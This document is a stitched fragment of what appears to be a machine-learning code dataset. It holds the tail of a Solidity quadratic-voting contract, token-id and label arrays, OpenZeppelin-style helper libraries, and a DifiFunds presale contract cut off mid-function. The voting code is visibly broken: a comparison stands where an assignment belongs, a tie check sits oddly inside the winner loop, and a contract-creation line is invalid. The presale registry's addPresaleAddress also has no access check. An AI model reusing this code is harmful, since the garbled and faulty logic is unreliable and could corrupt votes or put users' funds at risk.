require(ballot.totalQuadraticVotes[i] != largest, "This ballot has no winner" );
if (ballot.totalQuadraticVotes[i] > largest) {
largest = ballot.totalQuadraticVotes[i];
chosen = i;
}
bytes32 winningOption = ballot.options[i];
if (!ballot.aborted) {
ballot.winningOption = winningOption;
}
}
bytes32 winningOption = ballot.winningOption;
ballot.tabulated = true;
emit TabulateBallot(ballotIndex, winningOption);
}
function abort(uint256 ballotIndex) public onlyPollster {
require(ballotIndex < ballotQueue.length, "Moloch::abort - proposal does not exist");
Ballot storage ballot = ballotQueue[ballotIndex];
require(getCurrentPeriod() < ballot.startingPeriod, "Voting period cannot have started");
require(!ballot.aborted, "Ballot must not have already been aborted");
ballot.aborted = true;
emit Abort(ballotIndex);
}
/***************
VOTER HELPER FUNCTIONS
***************/
function getVoterTokenBalance(address voter) public view returns (uint256) {
require(voters[voter].exists == true, "voter does not exist yet");
require(IERC20(voteToken).balanceOf(voter) > 0, "no token balance");
return IERC20(voteToken).balanceOf(voter);
}
function updateVoterTokenBalance(address voter) internal returns (uint256) {
require(voters[msg.sender].exists == true, "no voter on record");
voters[voter].tokenBalance == IERC20(voteToken).balanceOf(voter);
}
function updateDelegateKey(address newDelegateKey) external {
require(voters[msg.sender].tokenBalance > 0, "not a current voter");
require(newDelegateKey != address(0), "newDelegateKey zeroed");
// skip checks if voter is setting the delegate key to their voter address
if (newDelegateKey != msg.sender) {
require(voters[newDelegateKey].exists == false, "cannot overwrite voters");
require(voters[voterAddressByDelegateKey[newDelegateKey]].exists == false, "cannot overwrite keys");
}
Voter storage voter = voters[msg.sender];
voterAddressByDelegateKey[voter.delegate] = address(0);
voterAddressByDelegateKey[newDelegateKey] = msg.sender;
voter.delegate = newDelegateKey;
emit UpdateDelegateKey(msg.sender, newDelegateKey);
}
function getCurrentPeriod() public view returns (uint256) {
return now.sub(creationTime).div(periodDuration);
}
function hasVotingPeriodExpired(uint256 ballotIndex) public view returns (bool) {
Ballot storage ballot = ballotQueue[ballotIndex];
return getCurrentPeriod() >= ballot.startingPeriod + ballot.pollLength;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
/***************
POLL FACTORY
***************/
contract PeepsPollFactory {
// Built by Peeps Democracy for fun ~ Use at own risk!
uint8 public version = 1;
// factory settings
uint256 public pollTax;
address payable public peepsWallet;
//events
event NewPollingStation(address PollingStation, address pollster, address voteToken);
constructor (
uint256 _pollTax,
address payable _peepsWallet) public
{
pollTax = _pollTax;
peepsWallet = _peepsWallet;
}
function newPollingStation(
address _pollster,
address _voteToken,
uint256 _periodDuration,
string memory _pollingStationName) payable public {
PollingStation = new PollingStation(
_pollster,
_voteToken,
_periodDuration,
_pollingStationName);
address(peepsWallet).transfer(msg.value);
emit NewPollingStation(address(PollingStation), _pollster, _voteToken);
}
} | true only if the proposal has been processed
| bool tabulated; | 5,517,508 | [
1,
3767,
1338,
309,
326,
14708,
711,
2118,
5204,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
1426,
3246,
11799,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity >=0.6.2 <0.8.0;
pragma experimental ABIEncoderV2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract DifiFundsInfo is Ownable {
uint256 private devFeePercentage = 1;
uint256 private minDevFeeInWei = 1 ether;
address[] private presaleAddresses;
constructor() public{
transferOwnership(0xC666A2d73Dd26Ef496E75fD9CFC41eD02D7C2127);
}
function addPresaleAddress(address _presale) external returns (uint256) {
presaleAddresses.push(_presale);
return presaleAddresses.length - 1;
}
function getPresalesCount() external view returns (uint256) {
return presaleAddresses.length;
}
function getPresaleAddress(uint256 DifiId) external view returns (address) {
return presaleAddresses[DifiId];
}
function getDevFeePercentage() external view returns (uint256) {
return devFeePercentage;
}
function setDevFeePercentage(uint256 _devFeePercentage) external onlyOwner {
devFeePercentage = _devFeePercentage;
}
function getMinDevFeeInWei() external view returns (uint256) {
return minDevFeeInWei;
}
function setMinDevFeeInWei(uint256 _minDevFeeInWei) external onlyOwner {
minDevFeeInWei = _minDevFeeInWei;
}
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DifiFundsPresale {
using SafeMath for uint256;
IUniswapV2Router02 private constant uniswapRouter =
IUniswapV2Router02(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
address payable internal DifiFactoryAddress; // address that creates the presale contracts
address payable public DifiDevAddress; // address where dev fees will be transferred to
address public DifiLiqLockAddress; // address where LP tokens will be locked
IERC20 public token; // token that will be sold
address payable public presaleCreatorAddress; // address where percentage of invested wei will be transferred to
address public unsoldTokensDumpAddress; // address where unsold tokens will be transferred to
mapping(address => uint256) public investments; // total wei invested per address
mapping(address => bool) public whitelistedAddresses; // addresses eligible in presale
mapping(address => bool) public claimed; // if true, it means investor already claimed the tokens or got a refund
uint256 private DifiDevFeePercentage; // dev fee to support the development of Difi Funds
uint256 private DifiMinDevFeeInWei; // minimum fixed dev fee to support the development of Difi Investments
uint256 public DifiId; // used for fetching presale without referencing its address
uint256 public totalInvestorsCount; // total investors count
uint256 public presaleCreatorClaimWei; // wei to transfer to presale creator per investor claim
uint256 public presaleCreatorClaimTime; // time when presale creator can collect funds raise
uint256 public totalCollectedWei; // total wei collected
uint256 public totalTokens; // total tokens to be sold
uint256 public tokensLeft; // available tokens to be sold
uint256 public tokenPriceInWei; // token presale wei price per 1 token
uint256 public hardCapInWei; // maximum wei amount that can be invested in presale
uint256 public softCapInWei; // minimum wei amount to invest in presale, if not met, invested wei will be returned
uint256 public maxInvestInWei; // maximum wei amount that can be invested per wallet address
uint256 public minInvestInWei; // minimum wei amount that can be invested per wallet address
uint256 public openTime; // time when presale starts, investing is allowed
uint256 public closeTime; // time when presale closes, investing is not allowed
uint256 public uniListingPriceInWei; // token price when listed in Uniswap
uint256 public uniLiquidityAddingTime; // time when adding of liquidity in uniswap starts, investors can claim their tokens afterwards
uint256 public uniLPTokensLockDurationInDays; // how many days after the liquity is added the presale creator can unlock the LP tokens
uint256 public uniLiquidityPercentageAllocation; // how many percentage of the total invested wei that will be added as liquidity
bool public uniLiquidityAdded = false; // if true, liquidity is added in Uniswap and lp tokens are locked
bool public onlyWhitelistedAddressesAllowed = true; // if true, only whitelisted addresses can invest
bool public DifiDevFeesExempted = false; // if true, presale will be exempted from dev fees
bool public presaleCancelled = false; // if true, investing will not be allowed, investors can withdraw, presale creator can withdraw their tokens
bytes32 public saleTitle;
bytes32 public linkTelegram;
bytes32 public linkTwitter;
bytes32 public linkDiscord;
bytes32 public linkWebsite;
bytes32 public linkTeam;
bytes32 public auditReport;
bytes32 public influencer;
constructor(address _DifiFactoryAddress, address _DifiDevAddress) public {
require(_DifiFactoryAddress != address(0));
require(_DifiDevAddress != address(0));
DifiFactoryAddress = payable(_DifiFactoryAddress);
DifiDevAddress = payable(_DifiDevAddress);
}
modifier onlyDifiDev() {
require(DifiFactoryAddress == msg.sender || DifiDevAddress == msg.sender);
_;
}
modifier onlyDifiFactory() {
require(DifiFactoryAddress == msg.sender);
_;
}
modifier onlyPresaleCreatorOrDifiFactory() {
require(
presaleCreatorAddress == msg.sender || DifiFactoryAddress == msg.sender,
"Not presale creator or factory"
);
_;
}
modifier onlyPresaleCreator() {
require(presaleCreatorAddress == msg.sender, "Not presale creator");
_;
}
modifier whitelistedAddressOnly() {
require(
!onlyWhitelistedAddressesAllowed || whitelistedAddresses[msg.sender],
"Address not whitelisted"
);
_;
}
modifier presaleIsNotCancelled() {
require(!presaleCancelled, "Cancelled");
_;
}
modifier investorOnly() {
require(investments[msg.sender] > 0, "Not an investor");
_;
}
modifier notYetClaimedOrRefunded() {
require(!claimed[msg.sender], "Already claimed or refunded");
_;
}
function setAddressInfo(
address _presaleCreator,
address _tokenAddress,
address _unsoldTokensDumpAddress
) external onlyDifiFactory {
require(_presaleCreator != address(0));
require(_tokenAddress != address(0));
require(_unsoldTokensDumpAddress != address(0));
presaleCreatorAddress = payable(_presaleCreator);
token = IERC20(_tokenAddress);
unsoldTokensDumpAddress = _unsoldTokensDumpAddress;
}
function setGeneralInfo(
uint256 _totalTokens,
uint256 _tokenPriceInWei,
uint256 _hardCapInWei,
uint256 _softCapInWei,
uint256 _maxInvestInWei,
uint256 _minInvestInWei,
uint256 _openTime,
uint256 _closeTime
) external onlyDifiFactory {
require(_totalTokens > 0);
require(_tokenPriceInWei > 0);
require(_openTime > 0);
require(_closeTime > 0);
require(_hardCapInWei > 0);
// Hard cap > (token amount * token price)
require(_hardCapInWei <= _totalTokens.mul(_tokenPriceInWei));
// Soft cap > to hard cap
require(_softCapInWei <= _hardCapInWei);
// Min. wei investment > max. wei investment
require(_minInvestInWei <= _maxInvestInWei);
// Open time >= close time
require(_openTime < _closeTime);
totalTokens = _totalTokens;
tokensLeft = _totalTokens;
tokenPriceInWei = _tokenPriceInWei;
hardCapInWei = _hardCapInWei;
softCapInWei = _softCapInWei;
maxInvestInWei = _maxInvestInWei;
minInvestInWei = _minInvestInWei;
openTime = _openTime;
closeTime = _closeTime;
}
function setUniswapInfo(
uint256 _uniListingPriceInWei,
uint256 _uniLiquidityAddingTime,
uint256 _uniLPTokensLockDurationInDays,
uint256 _uniLiquidityPercentageAllocation
) external onlyDifiFactory {
require(_uniListingPriceInWei > 0);
require(_uniLiquidityAddingTime > 0);
require(_uniLPTokensLockDurationInDays > 0);
require(_uniLiquidityPercentageAllocation > 0);
require(closeTime > 0);
// Listing time < close time
require(_uniLiquidityAddingTime >= closeTime);
uniListingPriceInWei = _uniListingPriceInWei;
uniLiquidityAddingTime = _uniLiquidityAddingTime;
uniLPTokensLockDurationInDays = _uniLPTokensLockDurationInDays;
uniLiquidityPercentageAllocation = _uniLiquidityPercentageAllocation;
}
function setStringInfo(
bytes32 _saleTitle,
bytes32 _linkTelegram,
bytes32 _linkDiscord,
bytes32 _linkTwitter,
bytes32 _linkWebsite,
bytes32 _auditReport,
bytes32 _linkTeam,
bytes32 _influencer
) external onlyPresaleCreatorOrDifiFactory {
saleTitle = _saleTitle;
linkTelegram = _linkTelegram;
linkDiscord = _linkDiscord;
linkTwitter = _linkTwitter;
linkWebsite = _linkWebsite;
linkTeam = _linkTeam;
auditReport = _auditReport;
influencer = _influencer;
}
function setDifiInfo(
address _DifiLiqLockAddress,
uint256 _DifiDevFeePercentage,
uint256 _DifiMinDevFeeInWei,
uint256 _DifiId
) external onlyDifiDev {
DifiLiqLockAddress = _DifiLiqLockAddress;
DifiDevFeePercentage = _DifiDevFeePercentage;
DifiMinDevFeeInWei = _DifiMinDevFeeInWei;
DifiId = _DifiId;
}
function setDifiDevFeesExempted(bool _DifiDevFeesExempted)
external
onlyDifiDev
{
DifiDevFeesExempted = _DifiDevFeesExempted;
}
function setOnlyWhitelistedAddressesAllowed(bool _onlyWhitelistedAddressesAllowed)
external
onlyPresaleCreatorOrDifiFactory
{
onlyWhitelistedAddressesAllowed = _onlyWhitelistedAddressesAllowed;
}
function addwhitelistedAddresses(address[] calldata _whitelistedAddresses)
external
onlyPresaleCreatorOrDifiFactory
{
onlyWhitelistedAddressesAllowed = _whitelistedAddresses.length > 0;
for (uint256 i = 0; i < _whitelistedAddresses.length; i++) {
whitelistedAddresses[_whitelistedAddresses[i]] = true;
}
}
function getTokenAmount(uint256 _weiAmount)
internal
view
returns (uint256)
{
return _weiAmount.mul(1e18).div(tokenPriceInWei);
}
function invest()
public
payable
whitelistedAddressOnly
presaleIsNotCancelled
{
require(block.timestamp >= openTime, "Not yet opened");
require(block.timestamp < closeTime, "Closed");
require(totalCollectedWei < hardCapInWei, "Hard cap reached");
require(tokensLeft > 0);
require(msg.value <= tokensLeft.mul(tokenPriceInWei));
uint256 totalInvestmentInWei = investments[msg.sender].add(msg.value);
